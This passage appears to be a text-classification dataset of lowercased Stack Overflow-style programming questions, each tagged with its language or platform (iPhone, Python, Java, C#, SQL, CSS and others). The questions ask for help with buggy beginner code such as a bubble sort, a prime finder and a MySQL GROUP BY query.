controller as a modal view controller on top of an existing navigation controller [self presentmodalviewcontroller:secondnavigationcontroller animated:yes]; </code></pre>   i can create it this way fine (as long as i change the myviewcontroller to inherit from uiviewcontroller instead of uinavigationcontroller). what else should i be doing to myviewcontroller to launch the same way as abpeoplepickernavigationcontroller,iphone
core location - get distance range  i need to identify coordinates for the range selected by user. i can get users current coordinates by corelocation but i need to pick places of interest in user selected value range say 1 mile within his current location. essentially i want to circle around 1 mile coordinates.  any help/lead would really be appreciated  i am new to iphone programming.,iphone
can not find  div  with specific  class  with beautifulsoup  i recently started to apply beautifulsoup in python to learn some scrapping skills  however i have experienced some problems and can t figure them out. here is my problem:    i m trying to find some <code> div </code> in the website  when i inspected the site  i could see the specific class within div  however  when i tried to run the code  it return empty list  could anyone explain it why     here is my code:   <pre><code>from bs4 import beautifulsoup import urllib.request  url=urllib.request.urlopen( http://www.imdb.com/title/tt0111161/mediaviewer/rm3597327872 ) soup=beautifulsoup(url   lxml ) div=soup.find_all( div  class_= pswp__zoom-wrap ) print(div) </code></pre>   actually i ve encountered this problem several places  and have been trying to figure it out  but still have no clue why!,python
playing the multiple audio files in different views using single audio player instance in iphone   i am new to audio playing  i am having one issue regarding audio playing .the issue is playing the multiple audio files   and controlling the current playing audio file from other views.    my requirement is. in my app i am having 4 audio files in different views. once the audio play button is clicked in some view  the audio playing has to be started  and pause and stop and slider buttons has to be displayed   even i navigated to the next view the audio has to be continued (i should be able to control the currently playing audio)  if i pressed the navigated view s audio  the previous audio has to be stopped  navigated page audio has to be played. after completion of navigated page audio  the resumed audio of previous page has to be played.   <pre><code>as of my knowledge  i have take single audio instance in appdelegate. i am referring  that audioplayer instance in all view s   where ever i need. it is not working.(some times giving error   some times unable to stop the previous audio playing). </code></pre>   thanks in advance.,iphone
how to show images from imagelist random in labels  i have to make a memorygame. msdn has already a tutorial about it: <a href= https://msdn.microsoft.com/nl-nl/library/dd553235.aspx  rel= nofollow noreferrer >https://msdn.microsoft.com/nl-nl/library/dd553235.aspx</a>    but thats with wingdings  and i would make it with my own images. so my question is: how could i show images from an imagelist randomly in labels     i have already tried different things but with no result. this is one of te ways i have tried to make a imagelist but i don t know how to place it randomly in labels  who are inside a tablelayoutpanel.    <a href= https://i.stack.imgur.com/ilhkt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ilhkt.png  alt= enter image description here ></a>,c#
what happens what you print the variable of an object in java  <pre><code>public class test {         public static void main (string[ ] args )         {             theclass one = new theclass(); constructor             theclass two = new theclass(str   doublenum); // i: calling the parameter constructor to //pass: “david william” and 3.5 to the object             system.out.println( one );                system.out.println( two );                 // call the method staticmethod             system.out.print(two.staticmethod());         } }   class theclass {       private string str;      private static int intnum = 0;      private double doublenum ;        public theclass()      {           str =  unknown ;           doublenum = 0.0;      }       public theclass (string s  double d)      {           str = s;           doublenum = d;      }       public static void staticmethod ()      {           intnum ++;      } } </code></pre>   would it make sense to do  system.out.println( one );  &amp;  system.out.println( two );  since they are only constructors   what would the output be for these 2 lines,java
bubble sort in c. output is the same as input  as a school assignment we are writing a bubble sort program in c. the code i wrote works. the only thing is that the output returns the input and doesn t return the swapped input. i m kinda stuck. no matter what i do i either get an error or nothing changes. does anybody know what is going wrong  any help would be highly appreciated!!   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #define maxlength 100         void getstring(char *str);   void printresult(char *str); int greaterthan(char ch1  char ch2);  void swap(char *str  int index1  int index2);     int main(void) { int len;                  // length of the entered string char str[maxlength];      // input should be no longer than maxlength   getstring(str); len = strlen(str);  // get length of the string  from sting.h int j; for (j = 0; j &lt; len-j; j++) {       int i;     for (i = 0; i &lt; len-j; i++){             char ch1 = str[i];           char ch2 = str[i+1];             if (greaterthan(ch1  ch2)) {                 swap(str  i  i+1);  // swap char 1             swap(str  i  i+1);  // swap char 2         }     } } printresult(str);  return(0); }    void getstring(char *str) {         printf( enter the string you would like to sort:  );       scanf( %s  str);        }   void printresult(char *str){         printf( here is the sorted string:  );       printf( %s  str);    }   int greaterthan(char ch1  char ch2){         return (ch1 &gt; ch2); }   void swap(char *str  int index1  int index2){        char h =  str[index1];       str[index1] = str[index2];       str[index2] = h;     } </code></pre>,c
file_get_contents() fails with multiple concurrent requests  i m running multiple php processes from the command line (using php.exe). right now i think there are 16 processes (they all run the same thing  just for different clients  i won t go into too many details here for brevity s sake).     all the processes make a <code>file_get_contents()</code> call that access the same file  which is a local file  not a url.<br> the problem is that  in some cases (and this is pretty erratic)  the process fails and there s an error that the file does not exist. but the file clearly does exist and there s nothing even going on that would try to write to it  so i m assuming that it s failing because <code>file_get_contents()</code> is being called to open it too many times simultaneously.      i ve managed to get around it with some convoluted code that tries <code>file_get_contents()</code> multiple time until it succeeds  but it feels like a hack. i was under the impression that for a read operation there wouldn t be any problem to have many simultaneous processes reading a file  am i missing something here,php
how to create class that return datatable in c#   i created a class that return a datatable but it show an error    <blockquote>    error 1    demo_c_sharp.cls_onnection.getapproveddata(ref string) : not all code paths return a value d:\vivek\demoproject\demo c sharp\demo c sharp\class files\cls_onnection.cs 45  26  demo c sharp  </blockquote>   i created following method :   <pre><code> public  datatable  getapproveddata(ref string tablename)         {              try               {                        if (cnn.state==system.data.connectionstate.closed)                 {                     dttbl = new datatable();                     cnn.open();                     cmd = new  sqlcommand( usp_billing_getapproveddata   cnn);                     cmd.commandtimeout = 5000;                     cmd.commandtype = commandtype.storedprocedure;                     cmd.parameters.addwithvalue( @processname   tablename);                      da = new sqldataadapter(cmd);                     da.fill(dttbl);                     return dttbl;                 }             }             catch (exception ex)             {                messagebox.show(ex.message);             }     </code></pre>,c#
select table row and check checkbox using jquery  i have a table and i want to select the rows that satisfy my criteria and check their respective checkbox. let s say i want to get the rows with date <code>2013-03-21</code>. how can i do this using jquery    <pre><code>&lt;table&gt; &lt;tr&gt;     &lt;td&gt;         record1     &lt;/td&gt;     &lt;td&gt;         2013-03-21     &lt;/td&gt;     &lt;td&gt;         &lt;input type= checkbox /&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;         record2     &lt;/td&gt;     &lt;td&gt;         2013-03-22      &lt;/td&gt;     &lt;td&gt;         &lt;input type= checkbox /&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;         record3     &lt;/td&gt;     &lt;td&gt;         2013-03-21     &lt;/td&gt;     &lt;td&gt;         &lt;input type= checkbox /&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>,jquery
android - selecting five random numbers with some probability  i want to select 5 random numbers with some probability.    my numbers: 2-5-6-9-14   <pre><code>probability: 2  -&gt; %30 5  -&gt; %20 6  -&gt; %35 9  -&gt; %10 14 -&gt; %5 </code></pre>   i want to go new activity if the three numbers are the same.    not: maximum three numbers can be the same.    how can i do that,android
syntax error in global.asax  i have the code below in my global.asax file (in my asp.net application) ...     <img src= https://i.stack.imgur.com/3vckm.jpg  alt= enter image description here >    and i have the error below in stack trace:   <pre><code>[nullreferenceexception: object reference not set to an instance of an object.] digita.tustena.global.application_start(object sender  eventargs e) +133  [httpexception (0x80004005): object reference not set to an instance of an object.] system.web.httpapplicationfactory.ensureappstartcalledforintegratedmode(httpcontext       context  httpapplication app) +3985477 system.web.httpapplication.registereventsubscriptionswithiis(intptr appcontext  httpcontext context  methodinfo[] handlers) +191 system.web.httpapplication.initspecial(httpapplicationstate state  methodinfo[] handlers  intptr appcontext  httpcontext context) +325 system.web.httpapplicationfactory.getspecialapplicationinstance(intptr appcontext  httpcontext context) +407 system.web.hosting.pipelineruntime.initializeapplication(intptr appcontext) +375  [httpexception (0x80004005): object reference not set to an instance of an object.] system.web.httpruntime.firstrequestinit(httpcontext context) +11524352 system.web.httpruntime.ensurefirstrequestinit(httpcontext context) +141 system.web.httpruntime.processrequestnotificationprivate(iis7workerrequest wr  httpcontext context) +4782309 </code></pre>   what is the problem with my code  i appriciate your helps ...,asp.net
using usedelimiter() in java to isolate a piece of text  i have a text file with content that looks like this:    <pre><code>   event=thermostatnight time=0    event=lighton time=2000    event=wateroff time=8000    event=thermostatday time=10000    event=bell time=9000 rings=5    event=wateron time=6000    event=lightoff time=4000    event=terminate time=12000 </code></pre>   i have to use a scanner to grab the file and then loop through each of the lines of text and isolate each event. for example i need to isolate  thermostatnight  in the first line and then put it in an array  the next one would be  lighton   and so on.  it s a small piece of a large project that i am working on for an intermediate java course. i have been able to get exactly the opposite of what i want with the usedelimiter argument shown below. is there a quick fix to this. note that i must use the usedelimiter() method.    <pre><code> public void readfile2() {      array2 = new arraylist&lt;string&gt;();        while (s.hasnext()) {         s.usedelimiter( =(.* )  );         array2.add(s.next());          } </code></pre>,java
javascript lastindexof not working  i am trying to remove fakepath from a url using lastindexof function in pure javascript but no output is being shown the following is my js code :-   <pre><code>function myfunction() { var str= c:\fakepath\somefile.txt ; var m=str.lastindexof( \ ); var n=str.substring(m+1); document.getelementbyid( demo ).innerhtml=n; } </code></pre>   the following is my html code:-   <pre><code>&lt;p id= demo &gt;     click the button to locate where in the string a specified value occurs. &lt;/p&gt; &lt;button onclick= myfunction() &gt;try it&lt;/button&gt; </code></pre>   you can find the working example at my jsfiddle at -> <a href= http://jsfiddle.net/xkpak/4/  rel= nofollow >http://jsfiddle.net/xkpak/4/</a>,javascript
why minus is slower than mod   in that specific case   <pre><code>    const debugtime as string =  hh:mm:ss.fffffff      dim i as integer      debug.print( start   &amp; now.tostring(debugtime))     for i = 0 to 4000000         j = 5 - 4     next     debug.print( end   &amp; now.tostring(debugtime))      debug.print( start   &amp; now.tostring(debugtime))     for i = 0 to 4000000         j = 5 mod 4     next     debug.print( end   &amp; now.tostring(debugtime)) </code></pre>   result    start 05:33:39.8281250    end 05:33:39.8437500    start 05:33:39.8437500    end 05:33:39.8437500    <strong>* edit *</strong>    modified the code to make it look like that   <pre><code>    const debugtime as string =  hh:mm:ss.fffffff      dim i as long  j as integer     dim r as random      r = new random(1)     debug.print( start   &amp; now.tostring(debugtime))     for i = 0 to 400000000         j = 5 - r.next(1  5)     next     debug.print( end   &amp; now.tostring(debugtime))      r = new random(1)     debug.print( start   &amp; now.tostring(debugtime))     for i = 0 to 400000000         j = 5 mod r.next(1  5)     next     debug.print( end   &amp; now.tostring(debugtime)) </code></pre>   now the minus is faster...    start 05:49:25.0156250    end 05:49:35.7031250    start 05:49:35.7031250    end 05:49:48.2187500,.net
can  i add timeout for ftpslib connection   can i add timepout for ftps connection and each command on ftp server     <pre> r  = ftpslib.ftp_tls() ... </pre>,python
how to free the dynamically allocated memory for a local variable   sample program:       <pre><code>#include &lt;stdio.h&gt; #include &lt;malloc.h&gt;  void f(int n) {      char *val = (char *) malloc(12*sizeof(char));      val =  feels.... ;       printf( %s   val);   //  free val;     // if enable  compile time error: expected  ;  before  val    free val;     }   int main()  {       f(1);        return 0;  } </code></pre>   is it required to free the memory which is dynamically allocated   if yes  how to.,c
using multiprocessing to speed up a search  i am trying to figure out how to use python s multiprocessing (or some other python library) to speed up a search. i am using python 3.4.2 currently. here is how i have set up my searching and finding (my actual code is something otherwise  but the example code is an accurate stand in):   <pre><code>import random def search():     nums = list(range(1000))  # use a smaller range to test code     random.shuffle(nums)     if {1  3  13} - set(nums[:20]) == set(): # some random hard-coded search         return nums     return none  def find():     res = none     while res is none:         res = search()     return res  &gt;&gt;&gt;find() [56  46  71  65  47  13  96  1  3  7  16  17  28  ... </code></pre>   needless to say  i could have written the search as a single function. can i parallelize this search  that is  can i launch <code>search</code> on several processors and halt the searching once one of the processors returns a non <code>none</code> result  how do i do this  (also  i don t have access to openmp  using yosetime and all  and not wanting to install gcc).    (i have been trying to find a good tutorial  article etc. for help with this  so referencing any resources would be very helpful).,python
sql group by and aggregate  i have a table in this structure:   <pre><code>editor_id rev_user rev_year rev_month rev_page edit_count </code></pre>   here is the sqlfiddle: <a href= http://sqlfiddle.com/#!2/8cbb1/1  rel= nofollow >http://sqlfiddle.com/#!2/8cbb1/1</a>    i need to provide list of rev_pages edited by the most active editor  along with the number of editing acts he has invested at each document. i.e. i need to find the most active editor (sum  edit_count  of rev_page of each year and month) and then find all the pages he edited.    any suggestions how to do it,sql
jquery how is $(this) really stored   see <a href= http://jsfiddle.net/dg2hp/  rel= nofollow >this</a> basic example:   <pre><code>&lt;div id= cont &gt;    &lt;input type=button value= button &gt;   &lt;/div&gt; &lt;input type=button value= button &gt;  </code></pre>   and the script:   <pre><code>$( input ).click(function(){     console.log($(this));     console.log($( #cont ).has($(this)));     console.log($( #cont ).has($(this)).length);     console.log( --- );     });​ </code></pre>   in both button-click the value of <code>$(this)</code> according to console.log are same:   <pre><code>[&lt;input type=​ button  value=​ button &gt;​]  </code></pre>   why are they give still different results     in other words some information does not represented when i console log $(this). this information may points to the element unique id. but what is it  where is it stored  why does it not showed in the log,jquery
android extend baseexpandablelistadapter  i am trying to extend the baseexpandablelistadapter  however when once i view the list and i select one of the elements to expand  the order of the list gets reversed.  for example  if i have a list with 4 elements and select the 1st element  the order (from top to bottom) is now 4  3  2  1 with the 4th element (now at the top) expanded.  if i unexpand the 4th element the order reverts to 1  2  3  4 with no expanded elements.    here is my implementation:    <code>public class sensorexpandableadapter extends baseexpandablelistadapter {</code>   <pre><code>    private static final int filter_position = 0;     private static final int function_position = 1;     private static final int number_of_children = 2;     arraylist&lt;sensortype&gt; mparentgroups;     private context mcontext;     private layoutinflater minflater;      public sensorexpandableadapter(arraylist&lt;sensortype&gt; parentgroup  context context) {         mparentgroups = parentgroup;         mcontext = context;         minflater = layoutinflater.from(mcontext);     }     @override     public object getchild(int groupposition  int childposition) {         // todo auto-generated method stub         if(childposition == filter_position) return  filter ;         else return  function ;     }      @override     public long getchildid(int groupposition  int childposition) {         return childposition;     }      @override     public view getchildview(int groupposition  int childposition              boolean islastchild  view convertview  viewgroup parent) {         if(convertview == null)         {             convertview = (relativelayout)minflater.inflate(r.layout.sensor_row_list_item  parent  false);             if(childposition == filter_position) {                 ((checkbox)convertview.findviewbyid(r.id.chktextaddfilter)).settext( add filter );             } else {                 ((checkbox)convertview.findviewbyid(r.id.chktextaddfilter)).settext( add function );                  ((checkbox)convertview.findviewbyid(r.id.chktextaddfilter)).setenabled(false);             }         }         return convertview;     }      @override     public int getchildrencount(int groupposition) {         // todo auto-generated method stub         return number_of_children;     }      @override     public object getgroup(int groupposition) {         return mparentgroups.get(groupposition);     }      @override     public int getgroupcount() {         // todo auto-generated method stub         return mparentgroups.size();     }      @override     public long getgroupid(int groupposition) {         // todo auto-generated method stub         return groupposition;     }      @override     public view getgroupview(int groupposition  boolean isexpanded              view convertview  viewgroup parent) {         if(convertview == null)         {             convertview = minflater.inflate(android.r.layout.simple_expandable_list_item_1  parent  false);             textview tv = ((textview)convertview.findviewbyid(android.r.id.text1));             tv.settext(mparentgroups.get(groupposition).tostring());         }         return convertview;     }      @override     public boolean hasstableids() {         // todo auto-generated method stub         return true;     }      @override     public boolean ischildselectable(int groupposition  int childposition) {         // todo auto-generated method stub         return true;     } } </code></pre>   `    i just need to take a simple arraylist of my own sensortype class.  the children are the same for all classes  just two.    also  how do i go about making the parent in each group longclickable   i have tried in my expandablelistactivity with this <code>getexpandablelistview().setonlongclickablelistener() ...</code> and on the parent textview set its onlongclickablelistener but neither works.    any help on either of these is greatly appreciated!,android
what is the granularity of the iphone 4s timer   since the iphone4s is reported to have a 800mhz clock   it might be that the timer has a 200mhz (5nsec) granularity  anyone know what the shortest loop period might be,iphone
program not reading input from url  so my program is supposed to read a list of names from a url in order to play guess the name game; however  the program does not seem to be able to read anything from the url  let alone add it onto an arraylist. when running the program  all i get is  there are 0 names in this list  meaning that no names had been added from the url.    when i use the debugger and step into the url  i get an error saying  can t step  selected thread is not suspended.     <pre><code>import java.io.ioexception; import java.net.malformedurlexception; import java.net.url; import java.util.arraylist; import java.util.collections; import java.util.scanner;  public class nameguesser {    private arraylist&lt;string&gt; lastnames = new arraylist&lt;string&gt;(); scanner input = new scanner(system.in);    public void readnames() throws ioexception  malformedurlexception {        // read the last names         url url = new url(                 http://www2.census.gov/topics/genealogy/1990surnames/dist.all.last );         scanner in = new scanner(url.openstream());        while (in.hasnext()) {            // read the last name            string lastname = in.next();            lastnames.add(lastname);             // ignore the statistical information          //  in.nextdouble();           // in.nextdouble();          //  in.nextint();        }        in.close();         // print out the number of names in the file and        // sort the names using collections        collections.sort(lastnames);        system.out.println( there are   + lastnames.size() +   names in this list );    }     public int guessname() {        int counter = 0;        int low = 0;        int high = lastnames.size();        int mid = high / 2;        boolean notfound = true; //variables to hold game info        string userinput =   ;        while (notfound) { //while the name is not found            system.out.println( does your name come before   + lastnames.get(mid) +   in the dictionary  (y/n)  or is   + lastnames.get(mid) +   your name  (s) );            userinput = input.next(); //ask if it is in the middle            if (userinput.equalsignorecase( y )) { //if before  set new upper bound                high = mid;                mid = ((high - low)/2) + low;                counter++;            } else if(userinput.equalsignorecase( n )){ //if after  set new lower bound                counter++;                low = mid;                mid = ((high - low)/2) + low;            }            else{ //if name is found  return counter                system.out.println( your name    + lastnames.get(mid) +    was found with   + counter +   guesses. );                input.close();                return counter;            }            if(high == low){ //if upper and lower bounds are equal                system.out.println( is your name:   + lastnames.get(mid) +     (y/n) );                userinput = input.next(); //ask if name is found                if(userinput.equalsignorecase( y )){ //if yes  print success  counter  and return counter                    system.out.println( your name    + lastnames.get(mid) +    was found with   + counter +   guesses. );                    input.close();                    return counter;                }                else if(userinput.equalsignorecase( n )){ //if no  inform user that guesser failed                    system.out.println( name not found. attempted locating with   + counter +   guesses );                    input.close();                    return counter;                }            }        }        input.close();        return counter;    } } </code></pre>   tester method:   <pre><code>import java.io.ioexception; import java.net.malformedurlexception;       public class namegame {         public static void main(string[] args) throws malformedurlexception  ioexception {            nameguesser game = new nameguesser();               game.readnames();         }     } </code></pre>,java
pass an int value from one class to another   i created an edittext to get the count of backspaces every time a user type something in that edittext and i take a count for the number of letters the users typed and get a percentage of backspaces for the number of keys user typed. but i m stuck finding a way to pass an int value from one class to another.    this is what i used to pass the int count in the class i am in now    <pre><code>public void onclicknext(view v) {     if (v.getid() == r.id.btnext) {         string settingsstr = settings.gettext().tostring();         string settingsstr2 = settings2.gettext().tostring();         if (!settingsstr.equals(settingsstr2)) {             //pop up message             toast pass = toast.maketext(display.this   what you typed don t match   toast.length_short);             pass.show();         } else {              intent i = new intent(display.this  intentservice.class);             i.putextra( count   count);             startactivity(i);          }     } } </code></pre>   count is the number of backspaces and this is how i get it.   <pre><code>      if ((event.getaction() == keyevent.action_down &amp;&amp; keycode == keyevent.keycode_del))    {        toast pass = toast.maketext(display.this   you pressed backspace   toast.length_short);        pass.show();        count++;    } </code></pre>   this is in the other class to get the count coming from the previous class. but when i run it  error occurs all the time.   <pre><code>        int count = getintent().getintextra( count   0);     textview tv = (textview) findviewbyid(r.id.tvcount);     tv.settext(count); </code></pre>,android
calling function defined in exe  i need to know a way to call a function defined in the exe from a python script. i know how to call entire exe from py file.,python
handling class methods when sub-classing in objective-c  while attempting my first sub-class in objective-c i have come across the following warning which i cannot seem to resolve. the call to decimalnumberwithmantissa gives a warning of  initialization from distinct objective-c type .   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface nsdecimalnumbersub : nsdecimalnumber { } @end  @implementation nsdecimalnumbersub @end  int main (int argc  char *argv[]) {     nsdecimalnumbersub *ten = [nsdecimalnumbersub            decimalnumberwithmantissa:10           exponent:0           isnegative:no]; } </code></pre>   does a class method have to be treated differently with a sub-class  am i missing something simple  any help would be appreciated.,objective-c
returns false every time in c++  i made a simple sequential search function  so as i m testing it  if i put 25 into my search item it returns true  but the other numbers 90  21 are always false and i can t understand why it s doing that.   <pre><code>int a[] = {25 90 21}; int searchitem = 90;  if(sequentialsearch(searchitem  a  3) == 1) {      cout &lt;&lt;  found item  &lt;&lt; endl; } else {      cout &lt;&lt;  item not found  &lt;&lt; endl; }  bool sequentialsearch(int searchitem  int * a  int size) {     for(int i = 0; i &lt; size; i++)     {         if(searchitem == a[i])         {             return true;         }         else         {             return false;         }     } } </code></pre>,c++
make mysql query choose max timestamp with group by statement  this is my query:   <pre><code>select      log_timestamp       system_name      faction_name      faction_allegiance       faction_government_type       current_state       pending_state      recovering_state      influence as influence      transactions.transaction_id from `bgs`.`faction_log`     inner join `factions` on `factions`.`faction_id` = `faction_log`.`faction_id`     inner join `transactions` on `transactions`.`transaction_id` = `faction_log`.`transaction_id`     inner join `system_log` on `system_log`.`transaction_id` = `transactions`.`transaction_id`     inner join `systems` on `systems`.`system_id` = `transactions`.`associated_system_id`  where     log_timestamp between bgs.find_closest_tick_time(date( 2017-08-14 )) and bgs.find_closest_tick_time(date_add(date( 2017-08-14 )  interval 1 day)) and     associated_system_id = 4  group by      faction_name      log_timestamp      system_name      faction_allegiance       faction_government_type       current_state       pending_state      recovering_state      influence      transactions.transaction_id </code></pre>   it works fine  and now looks like this:    <code>+---------------------+-------------+-----------------+ | log_timestamp       | system_name | faction_name    | +---------------------+-------------+-----------------+ | 2017-08-14 11:18:46 | nagii       | nagii autocracy | | 2017-08-14 12:38:03 | nagii       | nagii autocracy | | 2017-08-14 13:40:18 | nagii       | nagii autocracy | | 2017-08-15 06:09:52 | nagii       | nagii autocracy | | 2017-08-14 11:18:46 | nagii       | nagii network   | | 2017-08-14 12:38:03 | nagii       | nagii network   | | 2017-08-14 13:40:18 | nagii       | nagii network   | | 2017-08-15 06:09:52 | nagii       | nagii network   | | 2017-08-14 11:18:46 | nagii       | nagii posse     | | 2017-08-14 12:38:03 | nagii       | nagii posse     | | 2017-08-14 13:40:18 | nagii       | nagii posse     | | 2017-08-15 06:09:52 | nagii       | nagii posse     | | 2017-08-14 11:18:46 | nagii       | nagii union     | | 2017-08-14 12:38:03 | nagii       | nagii union     | | 2017-08-14 13:40:18 | nagii       | nagii union     | | 2017-08-15 06:09:52 | nagii       | nagii union     | | 2017-08-14 11:18:46 | nagii       | nagii united co | | 2017-08-14 12:38:03 | nagii       | nagii united co | | 2017-08-14 13:40:18 | nagii       | nagii united co | | 2017-08-15 06:09:52 | nagii       | nagii united co | +---------------------+-------------+-----------------+ 20 rows in set (0.00 sec) </code>    but i want to select only rows containing maximum value of field log_timestamp. (in this case 2017-08-15 06:09:52). i tried to use something like that:     <code>having transactions.log_timestamp &gt;= max(date( 2017-08-15 06:09:52 ));</code>     but it don t work like that:     <code>having transactions.log_timestamp &gt;= max(log_timestamp);</code>    what am i doing wrong,mysql
"scroll spring on chrome for overflow elements (like safari)  chrome has the momentum scroll spring on the document body (when you pull the scroll  it pulls down and springs back). however  it doesn t do this on <code>overflow-y: scroll</code> elements. safari does do this  however.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>html  body {
   height: 100%;
   overflow: hidden;
 }
 
 body  section {
   display: flex;
   flex-direction: column;
 }
 
 header  footer {
   display: flex;
   height: 100px;
   background: pink;
 }
 
 section {
   display: flex;
   height: 100%;
   flex: 1;
   overflow-y: scroll;
   background: yellow;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;header&gt;&lt;/header&gt;
 &lt;section&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;a&lt;/div&gt;
   &lt;div&gt;end&lt;/div&gt;
 &lt;/section&gt;
 &lt;footer&gt;&lt;/footer&gt;</code></pre>
 </div>
 </div>
     wondering if there is a way to turn this effect on in css for chrome.",css
best way to use  next  version of return button on uitextfield to move to next uitextfield  i use the  next  value for the  return key  to get the next button in place of the done button  but (obviously) pressing it doesn t automatically move to the next uitextfield in my view.     what s the right way to do this  on a larger topic  what are some tips for properly building forms in the iphone sdk,iphone
sum two nsinteger gives incorrect result  im haveing a problem suming two nsinteger  i have tried with simple int but cant find the answer. i have this on my header file:   <pre><code>@interface viewcontroller : uiviewcontroller { nsmutablearray *welcomephotos; nsinteger *photocount;        // &lt;- this is the number with the problem //static int photocount = 1; } </code></pre>   the on my implementation fiel i have:   <pre><code>-(void)viewdidload{     [super viewdidload]; // do any additional setup after loading the view  typically from a nib.      photocount = 0;     welcomephotos = [nsmutablearray array];       int sum = photocount + 1;      nslog(@ 0 + 1 = %i   sum);  } </code></pre>   the las nslog always prints <strong>0 + 1 = 4</strong>    also if if do:   <pre><code>if (photocount &lt; [welcomephotos count]){     photocount++;     nslog(@ %i   photocount); }else{     photocount = 0; } </code></pre>   several times i get: <strong>4  8  12</strong>.    so it is skiping by four  but i can t get to understand why.,objective-c
"textarea and submit button same height and same line  i try to make my textarea and submit button within a form to be the same line(and height)  so that the text area takes up 90% of the width and the submit button takes 10%  but what i get is the following:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>textarea {
 display:inline-block;
 width:90%;
 resize:none;
 }
 #submit {
 display:inline-block;
 width:10%;
 margin-bottom:-10px
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form&gt;
 &lt;textarea cols= 30  rows= 1  placeholder= text here &gt;&lt;/textarea&gt;
 &lt;input id= submit  type= submit  value= send &gt; 
 &lt;/form&gt;</code></pre>
 </div>
 </div>
     how to fix it so that the button and textarea are the same line  and take up the same height     thanks",css
javascript: find first n prime numbers <pre><code>function primenumbers(n) {     array = [];     for (var i = 2; array.length &lt; n; i++) {         for (var count = 2; count &lt; i; count++) {             var divisorfound = false;             if (i % count === 0) {                 divisorfound = true;                 break;             }         }         if (divisorfound == false) {array.push[i];}     }     return array; } </code></pre>   when i run this code  it seems to get stuck in an infinite loop and doesn t return anything... why,javascript
